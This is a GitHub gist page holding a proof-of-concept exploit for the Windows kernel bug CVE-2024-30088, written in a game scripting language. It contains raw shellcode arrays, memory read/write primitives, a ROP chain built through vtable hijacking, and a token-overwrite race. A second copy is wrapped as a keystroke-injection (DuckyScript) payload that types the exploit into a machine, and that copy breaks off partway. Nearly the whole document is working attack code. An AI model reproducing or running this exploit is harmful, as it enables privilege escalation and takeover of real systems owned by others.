Created
June 28, 2024 03:36
-
-
Save carrot-c4k3/6ef33d57733b08281b26db0a50b1a447 to your computer and use it in GitHub Desktop.
CVE-2024-30088 PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// CVE-2024-30088 PoC - @carrot_c4k3 (exploits.forsale) | |
// | |
let get_token_handle_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0xff,0x10,0x4c,0x8d,0x44,0x24,0x38,0xba,0x0,0x0,0x0,0x2,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x8,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x4c,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x4c,0x24,0x38,0x48,0x89,0x48,0x40,0x8b,0x44,0x24,0x30,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let create_smash_thread_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x38,0x48,0xc7,0x44,0x24,0x28,0x0,0x0,0x0,0x0,0xc7,0x44,0x24,0x20,0x0,0x0,0x0,0x0,0x4c,0x8b,0x4c,0x24,0x40,0x48,0x8b,0x44,0x24,0x40,0x4c,0x8b,0x40,0x28,0x33,0xd2,0x33,0xc9,0x48,0x8b,0x44,0x24,0x40,0xff,0x50,0x20,0x48,0x83,0xc4,0x38,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let attempt_race_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x50,0xba,0xf,0x0,0x0,0x0,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x58,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0xeb,0xd,0x48,0x8b,0x44,0x24,0x38,0x48,0xff,0xc0,0x48,0x89,0x44,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x40,0x48,0x48,0x39,0x44,0x24,0x38,0x73,0x31,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x48,0x40,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0xeb,0xb2,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc] | |
let smash_func_code = [0x4C,0x8B,0xE1,0x41,0xFF,0x54,0x24,0x50,0x48,0x8B,0xC8,0xBA,0x0F,0x00,0x00,0x00,0x41,0xFF,0x54,0x24,0x58,0x49,0x8B,0x44,0x24,0x30,0x49,0x8B,0x4C,0x24,0x38,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0xEB,0x83] | |
fn round_down(val, bound) { | |
return floor(val - (val % bound)) | |
} | |
fn array_compare(a1, a2) { | |
if (len(a1) != len(a2)) { | |
return false | |
} | |
var arr_len = len(a1) | |
for (var i = 0; i < arr_len; i++) { | |
if (a1[i] != a2[i]) { | |
return false | |
} | |
} | |
return true | |
} | |
// shorthand helpers for memory access | |
fn write8(addr, val) { | |
pointerSetUnsignedInteger8Bit(0, addr, val) | |
} | |
fn read8(addr) { | |
return pointerGetUnsignedInteger8Bit(0, addr) | |
} | |
fn write16(addr, val) { | |
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val) | |
} | |
fn read16(addr) { | |
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr) | |
} | |
fn write32(addr, val) { | |
pointerSetAtOffsetUnsignedInteger(0, addr, val) | |
} | |
fn read32(addr) { | |
return pointerGetAtOffsetUnsignedInteger(0, addr) | |
} | |
fn write64(addr, val) { | |
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val) | |
} | |
fn read64(addr) { | |
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr) | |
} | |
fn read_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
buf[i] = read8(addr + i) | |
} | |
} | |
fn write_buf(addr, buf) { | |
var buf_len = len(buf) | |
for (var i = 0; i < buf_len; i++) { | |
write8(addr+i, buf[i]) | |
} | |
} | |
fn find_bytes(addr, max_len, pattern, buf) { | |
for (var i = 0; i < max_len; i++) { | |
read_buf(addr + i, buf) | |
if (array_compare(pattern, buf)) { | |
return addr + i | |
} | |
} | |
return 0 | |
} | |
fn find64(addr, max_len, v) { | |
var offset = 0 | |
while (1) { | |
var temp_val = read64(addr+offset) | |
if (temp_val == v) { | |
return addr+offset | |
} | |
offset += 8 | |
} | |
return 0 | |
} | |
// shorthand funcs | |
fn ptr_to_num(p) { | |
return numberFromRaw64BitUnsignedInteger(p) | |
} | |
fn make_cstr(s) { | |
var str_len = len(s) + 1 | |
var s_ptr = globalArrayNew8Bit(s, str_len) | |
pointerSetString(s_ptr, 0, s) | |
return ptr_to_num(s_ptr) | |
} | |
var gs_base = 0 | |
var ntdll_base = 0 | |
var kernelbase_base = 0 | |
var longjmp_ptr = 0 | |
var setjmp_ptr = 0 | |
var gadget_ptr = 0 | |
var gadget_rsp0x48_ptr = 0 | |
var gadget_pushrax_ptr = 0 | |
fn call_native(func_ptr, rcx, rdx, r8, r9) { | |
// set this gadget here | |
gadget_rsp0x48_ptr = gs_base + 0xE04B | |
gadget_pushrax_ptr = gs_base + 0x1F13A | |
var call_done = false | |
// allocate 0x120 (space for vtable + setjmp data) | |
var obj_ptr = globalArrayNew8Bit("call", 0x100) | |
var objp = ptr_to_num(obj_ptr) | |
var vt_ptr = globalArrayNew8Bit("vtable", 0x18) | |
var vtp = ptr_to_num(vt_ptr) | |
var stack_size = 0x4000 | |
var stack_ptr = globalArrayNew8Bit("stack", stack_size) | |
var stackp = ptr_to_num(stack_ptr) | |
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100) | |
var jcp = ptr_to_num(jmpctx_ptr) | |
// set up vtable pointers | |
write64(vtp+8, setjmp_ptr) | |
write64(objp, vtp) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100) | |
// set up our rop chain | |
var r10 = 0 | |
var r11 = 0 | |
write64(stackp+stack_size-0xA0, rdx) | |
write64(stackp+stack_size-0x98, rcx) | |
write64(stackp+stack_size-0x90, r8) | |
write64(stackp+stack_size-0x88, r9) | |
write64(stackp+stack_size-0x80, r10) | |
write64(stackp+stack_size-0x78, r11) | |
write64(stackp+stack_size-0x70, func_ptr) | |
write64(stackp+stack_size-0x68, gadget_pushrax_ptr) | |
// 0x30 bytes of padding | |
write64(stackp+stack_size-0x38, 0x15151515) | |
write64(stackp+stack_size-0x30, gs_base+0x109C4A) | |
write64(stackp+stack_size-0x28, jcp) | |
write64(stackp+stack_size-0x20, longjmp_ptr); | |
// set up the context to do the longjmp | |
write64(vtp+8, longjmp_ptr) | |
write64(objp, vtp) | |
// rsp | |
write64(objp+0x10, stackp+stack_size-0xA0) | |
// rip | |
write64(objp+0x50, gadget_ptr) | |
// trigger vtable call | |
slBus_destroy(obj_ptr) | |
var ret_val = read64(stackp+stack_size-0x68) | |
// clean up our objects | |
globalArrayDelete("call") | |
globalArrayDelete("vtable") | |
globalArrayDelete("stack") | |
globalArrayDelete("jctx") | |
return ret_val | |
} | |
fn find_module_base(addr) { | |
var search_addr = round_down(addr, 0x10000) | |
while (1) { | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(search_addr, magic_read) | |
if (array_compare(magic_static, magic_read)) { | |
return search_addr | |
} | |
search_addr -= 0x10000 | |
} | |
return 0 | |
} | |
fn get_dll_exports(base_addr) { | |
var res = {} | |
var magic_static = [0x4D, 0x5A] | |
var magic_read = [0, 0] | |
read_buf(base_addr, magic_read) | |
if (!array_compare(magic_static, magic_read)) { | |
printConsole("Magic is invalid!\n") | |
return res | |
} | |
var e_lfanew = read32(base_addr+0x3c) | |
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18) | |
var num_funcs = read32(exports_addr+0x14) | |
var num_names = read32(exports_addr+0x18) | |
var funcs_addr = base_addr + read32(exports_addr+0x1c) | |
var names_addr = base_addr + read32(exports_addr+0x20) | |
var ords_addr = base_addr + read32(exports_addr+0x24) | |
for (var i = 0; i < num_names; i++) { | |
var name_addr = base_addr + read32(names_addr + (4 * i)) | |
var name_str = pointerGetSubstring(0, name_addr, 0x20) | |
var ordinal = read16(ords_addr + (2 * i)) | |
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal)) | |
res[name_str] = func_addr | |
} | |
return res | |
} | |
var VirtualAlloc_ptr = 0 | |
var VirtualProtect_ptr = 0 | |
fn map_code(code) { | |
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4) | |
write_buf(code_addr, code) | |
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100) | |
var oldpp = ptr_to_num(oldp_ptr) | |
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp) | |
return code_addr | |
} | |
// create and dump our object to the terminal | |
var slbus_ptr = slBus_create() | |
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr) | |
// get the base of the GameScript module via the vtable | |
gs_base = read64(slp) - 0x16faf8 | |
ntdll_base = find_module_base(read64(gs_base + 0x125398)) | |
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0)) | |
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48] | |
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C] | |
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] | |
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes) | |
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes) | |
// bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret | |
var gadget_bytes = [0x5A, 0x59, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, 0x5B, 0xC3] | |
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] | |
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes) | |
// get the ntdll & kernel base exports and find VirtualAlloc/Protect | |
var kernelbase_exports = get_dll_exports(kernelbase_base) | |
var ntdll_exports = get_dll_exports(ntdll_base) | |
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"] | |
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"] | |
// map our code first blob of shellcode | |
var code_addr = map_code(get_token_handle_code) | |
var smash_func_addr = map_code(smash_func_code) | |
var create_smash_thread_ptr = map_code(create_smash_thread_code) | |
var attempt_race_ptr = map_code(attempt_race_code) | |
// create our shellcode context | |
var ctx_ptr = globalArrayNew8Bit("ctxp", 0x500) | |
var ctxp = ptr_to_num(ctx_ptr) | |
// allocate our token info buffer | |
var tinfo_ptr = globalArrayNew8Bit("tinfo", 0x2000) | |
var tinfop = ptr_to_num(tinfo_ptr) | |
// look up the functions needed by our shellcode | |
var OpenProcessToken_ptr = kernelbase_exports["OpenProcessToken"] | |
var GetCurrentProcess_ptr = kernelbase_exports["GetCurrentProcess"] | |
var NtQueryInformationToken_ptr = ntdll_exports["NtQueryInformationToken"] | |
var CreateThread_ptr = kernelbase_exports["CreateThread"] | |
var TerminateThread_ptr = kernelbase_exports["TerminateThread"] | |
var GetCurrentThread_ptr = kernelbase_exports["GetCurrentThread"] | |
var SetThreadPriority_ptr = kernelbase_exports["SetThreadPriority"] | |
// setup shellcode ctx | |
write64(ctxp, GetCurrentProcess_ptr) | |
write64(ctxp+8, OpenProcessToken_ptr) | |
write64(ctxp+0x10, NtQueryInformationToken_ptr) | |
write64(ctxp+0x18, tinfop) | |
write64(ctxp+0x20, CreateThread_ptr) | |
write64(ctxp+0x28, smash_func_addr) | |
write64(ctxp+0x48, 0x800000) | |
write64(ctxp+0x50, GetCurrentThread_ptr) | |
write64(ctxp+0x58, SetThreadPriority_ptr) | |
// call create_token_handle | |
var bytes_returned = call_native(code_addr, ctxp, 0, 0, 0) | |
var token_handle = read64(ctxp+0x40) | |
var magic_str = [0x54, 0x00, 0x53, 0x00, 0x41, 0x00, 0x3A, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x55, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x71, 0x00, 0x75, 0x00, 0x65, 0x00] | |
tmp_bytes = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] | |
var magic_str_ptr = find_bytes(tinfop, bytes_returned, magic_str, tmp_bytes) | |
var smash_ptr = find64(tinfop, bytes_returned, magic_str_ptr) | |
write64(ctxp+0x30, smash_ptr) | |
write32(ctxp+0x38, 0x41414141) | |
write32(ctxp+0x3C, 0xFFFFFFFF) | |
// trigger the bug | |
var thread_handle = call_native(create_smash_thread_ptr, ctxp, 0, 0, 0) | |
call_native(attempt_race_ptr, ctxp, 0, 0, 0) | |
call_native(TerminateThread_ptr, thread_handle, 0, 0, 0) | |
// if we got here the bug did not trigger | |
printConsole("If you're seeing this the kernel vulnerability is patched, sorry :c\n") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
DELAY 3000
STRING // Quack Quack
ENTER
STRING //CVE-2024-30088 PoC - @carrot_c4k3 (exploits.forsale)
ENTER
STRING //
ENTER
STRING let get_token_handle_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0xff,0x10,0x4c,0x8d,0x44,0x24,0x38,0xba,0x0,0x0,0x0,0x2,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x8,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x4c,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x4c,0x24,0x38,0x48,0x89,0x48,0x40,0x8b,0x44,0x24,0x30,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
ENTER
STRING let create_smash_thread_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x38,0x48,0xc7,0x44,0x24,0x28,0x0,0x0,0x0,0x0,0xc7,0x44,0x24,0x20,0x0,0x0,0x0,0x0,0x4c,0x8b,0x4c,0x24,0x40,0x48,0x8b,0x44,0x24,0x40,0x4c,0x8b,0x40,0x28,0x33,0xd2,0x33,0xc9,0x48,0x8b,0x44,0x24,0x40,0xff,0x50,0x20,0x48,0x83,0xc4,0x38,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
ENTER
STRING let attempt_race_code = [0x48,0x89,0x4c,0x24,0x8,0x48,0x83,0xec,0x48,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x50,0xba,0xf,0x0,0x0,0x0,0x48,0x8b,0xc8,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x58,0xc7,0x44,0x24,0x30,0x0,0x0,0x0,0x0,0x48,0xc7,0x44,0x24,0x38,0x0,0x0,0x0,0x0,0xeb,0xd,0x48,0x8b,0x44,0x24,0x38,0x48,0xff,0xc0,0x48,0x89,0x44,0x24,0x38,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x40,0x48,0x48,0x39,0x44,0x24,0x38,0x73,0x31,0x48,0x8d,0x44,0x24,0x30,0x48,0x89,0x44,0x24,0x20,0x41,0xb9,0x0,0x20,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x4c,0x8b,0x40,0x18,0xba,0x16,0x0,0x0,0x0,0x48,0x8b,0x44,0x24,0x50,0x48,0x8b,0x48,0x40,0x48,0x8b,0x44,0x24,0x50,0xff,0x50,0x10,0xeb,0xb2,0x48,0x83,0xc4,0x48,0xc3,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc]
ENTER
STRING let smash_func_code = [0x4C,0x8B,0xE1,0x41,0xFF,0x54,0x24,0x50,0x48,0x8B,0xC8,0xBA,0x0F,0x00,0x00,0x00,0x41,0xFF,0x54,0x24,0x58,0x49,0x8B,0x44,0x24,0x30,0x49,0x8B,0x4C,0x24,0x38,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0x48,0x89,0x08,0xEB,0x83]
ENTER
STRING fn round_down(val, bound) {
ENTER
STRING return floor(val - (val % bound))
ENTER
STRING }
ENTER
STRING fn array_compare(a1, a2) {
ENTER
STRING if (len(a1) != len(a2)) {
ENTER
STRING return false
ENTER
STRING }
ENTER
STRING var arr_len = len(a1)
ENTER
STRING for (var i = 0; i < arr_len; i++) {
ENTER
STRING if (a1[i] != a2[i]) {
ENTER
STRING return false
ENTER
STRING }
ENTER
STRING }
ENTER
STRING return true
ENTER
STRING }
ENTER
STRING // shorthand helpers for memory access
ENTER
STRING fn write8(addr, val) {
ENTER
STRING pointerSetUnsignedInteger8Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read8(addr) {
ENTER
STRING return pointerGetUnsignedInteger8Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn write16(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read16(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn write32(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read32(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger(0, addr)
ENTER
STRING }
ENTER
STRING fn write64(addr, val) {
ENTER
STRING pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
ENTER
STRING }
ENTER
STRING fn read64(addr) {
ENTER
STRING return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
ENTER
STRING }
ENTER
STRING fn read_buf(addr, buf) {
ENTER
STRING var buf_len = len(buf)
ENTER
STRING for (var i = 0; i < buf_len; i++) {
ENTER
STRING buf[i] = read8(addr + i)
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn write_buf(addr, buf) {
ENTER
STRING var buf_len = len(buf)
ENTER
STRING for (var i = 0; i < buf_len; i++) {
ENTER
STRING write8(addr+i, buf[i])
ENTER
STRING }
ENTER
STRING }
ENTER
STRING fn find_bytes(addr, max_len, pattern, buf) {
ENTER
STRING for (var i = 0; i < max_len; i++) {
ENTER
STRING read_buf(addr + i, buf)
ENTER
STRING if (array_compare(pattern, buf)) {
ENTER
STRING return addr + i
ENTER
STRING }
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING fn find64(addr, max_len, v) {
ENTER
STRING var offset = 0
ENTER
STRING while (1) {
ENTER
STRING var temp_val = read64(addr+offset)
ENTER
STRING if (temp_val == v) {
ENTER
STRING return addr+offset
ENTER
STRING }
ENTER
STRING offset += 8
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING // shorthand funcs
ENTER
STRING fn ptr_to_num(p) {
ENTER
STRING return numberFromRaw64BitUnsignedInteger(p)
ENTER
STRING }
ENTER
STRING fn make_cstr(s) {
ENTER
STRING var str_len = len(s) + 1
ENTER
STRING var s_ptr = globalArrayNew8Bit(s, str_len)
ENTER
STRING pointerSetString(s_ptr, 0, s)
ENTER
STRING return ptr_to_num(s_ptr)
ENTER
STRING }
ENTER
STRING var gs_base = 0
ENTER
STRING var ntdll_base = 0
ENTER
STRING var kernelbase_base = 0
ENTER
STRING var longjmp_ptr = 0
ENTER
STRING var setjmp_ptr = 0
ENTER
STRING var gadget_ptr = 0
ENTER
STRING var gadget_rsp0x48_ptr = 0
ENTER
STRING var gadget_pushrax_ptr = 0
ENTER
STRING fn call_native(func_ptr, rcx, rdx, r8, r9) {
ENTER
STRING // set this gadget here
ENTER
STRING gadget_rsp0x48_ptr = gs_base + 0xE04B
ENTER
STRING gadget_pushrax_ptr = gs_base + 0x1F13A
ENTER
STRING var call_done = false
ENTER
STRING // allocate 0x120 (space for vtable + setjmp data)
ENTER
STRING var obj_ptr = globalArrayNew8Bit("call", 0x100)
ENTER
STRING var objp = ptr_to_num(obj_ptr)
ENTER
STRING var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
ENTER
STRING var vtp = ptr_to_num(vt_ptr)
ENTER
STRING var stack_size = 0x4000
ENTER
STRING var stack_ptr = globalArrayNew8Bit("stack", stack_size)
ENTER
STRING var stackp = ptr_to_num(stack_ptr)
ENTER
STRING var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
ENTER
STRING var jcp = ptr_to_num(jmpctx_ptr)
ENTER
STRING // set up vtable pointers
ENTER
STRING write64(vtp+8, setjmp_ptr)
ENTER
STRING write64(objp, vtp)
ENTER
STRING // trigger vtable call
ENTER
STRING slBus_destroy(obj_ptr)
ENTER
STRING memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)
ENTER
STRING // set up our rop chain
ENTER
STRING var r10 = 0
ENTER
STRING var r11 = 0
ENTER
STRING write64(stackp+stack_size-0xA0, rdx)
ENTER
STRING write64(stackp+stack_size-0x98, rcx)
ENTER
STRING write64(stackp+stack_size-0x90, r8)
ENTER
STRING write64(stackp+stack_size-0x88, r9)
ENTER
STRING write64(stackp+stack_size-0x80, r10)
ENTER
STRING write64(stackp+stack_size-0x78, r11)
ENTER
STRING write64(stackp+stack_size-0x70, func_ptr)
ENTER
STRING write64(stackp+stack_size-0x68, gadget_pushrax_ptr)
ENTER
STRING // 0x30 bytes of padding
ENTER
STRING write64(stackp+stack_size-0x38, 0x15151515)
ENTER
STRING write64(stackp+stack_size-0x30, gs_base+0x109C4A)
ENTER
STRING write64(stackp+stack_size-0x28, jcp)
ENTER
STRING write64(stackp+stack_size-0x20, longjmp_ptr);
ENTER
STRING // set up the context to do the longjmp
ENTER
STRING write64(vtp+8, longjmp_ptr)
ENTER
STRING write64(objp, vtp)
ENTER
STRING // rsp
ENTER
STRING write64(objp+0x10, stackp+stack_size-0xA0)
ENTER
STRING // rip
ENTER
STRING write64(objp+0x50, gadget_ptr)
ENTER
STRING // trigger vtable call
ENTER
STRING slBus_destroy(obj_ptr)
ENTER
STRING var ret_val = read64(stackp+stack_size-0x68)
ENTER
STRING // clean up our objects
ENTER
STRING globalArrayDelete("call")
ENTER
STRING globalArrayDelete("vtable")
ENTER
STRING globalArrayDelete("stack")
ENTER
STRING globalArrayDelete("jctx")
ENTER
STRING return ret_val
ENTER
STRING }
ENTER
STRING fn find_module_base(addr) {
ENTER
STRING var search_addr = round_down(addr, 0x10000)
ENTER
STRING while (1) {
ENTER
STRING var magic_static = [0x4D, 0x5A]
ENTER
STRING var magic_read = [0, 0]
ENTER
STRING read_buf(search_addr, magic_read)
ENTER
STRING if (array_compare(magic_static, magic_read)) {
ENTER
STRING return search_addr
ENTER
STRING }
ENTER
STRING search_addr -= 0x10000
ENTER
STRING }
ENTER
STRING return 0
ENTER
STRING }
ENTER
STRING fn get_dll_exports(base_addr) {
ENTER
STRING var res = {}
ENTER
STRING var magic_static = [0x4D, 0x5A]
ENTER
STRING var magic_read = [0, 0]
ENTER
STRING read_buf(base_addr, magic_read)
ENTER
STRING if (!array_compare(magic_static, magic_read)) {
ENTER
STRING printConsole("Magic is invalid!\n")
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING var e_lfanew = read32(base_addr+0x3c)
ENTER
STRING var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)
ENTER
STRING var num_funcs = read32(exports_addr+0x14)
ENTER
STRING var num_names = read32(exports_addr+0x18)
ENTER
STRING var funcs_addr = base_addr + read32(exports_addr+0x1c)
ENTER
STRING var names_addr = base_addr + read32(exports_addr+0x20)
ENTER
STRING var ords_addr = base_addr + read32(exports_addr+0x24)
ENTER
STRING for (var i = 0; i < num_names; i++) {
ENTER
STRING var name_addr = base_addr + read32(names_addr + (4 * i))
ENTER
STRING var name_str = pointerGetSubstring(0, name_addr, 0x20)
ENTER
STRING var ordinal = read16(ords_addr + (2 * i))
ENTER
STRING var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
ENTER
STRING res[name_str] = func_addr
ENTER
STRING }
ENTER
STRING return res
ENTER
STRING }
ENTER
STRING var VirtualAlloc_ptr = 0
ENTER
STRING var VirtualProtect_ptr = 0
ENTER
STRING fn map_code(code) {
ENTER
STRING var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
ENTER
STRING write_buf(code_addr, code)
ENTER
STRING var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
ENTER
STRING var oldpp = ptr_to_num(oldp_ptr)
ENTER
STRING call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
ENTER
STRING return code_addr
ENTER
STRING }
ENTER
STRING // create and dump our object to the terminal
ENTER
STRING var slbus_ptr = slBus_create()
ENTER
STRING var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)
ENTER
STRING // get the base of the GameScript module via the vtable
ENTER
STRING gs_base = read64(slp) - 0x16faf8
ENTER
STRING ntdll_base = find_module_base(read64(gs_base + 0x125398))
ENTER
STRING kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))
ENTER
STRING var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
ENTER
STRING var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
ENTER
STRING var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
ENTER
STRING setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
ENTER
STRING longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)
ENTER
STRING // bytes for the following gadget: pop rdx;pop rcx;pop r8;pop r9;pop r10;pop r11; ret
ENTER
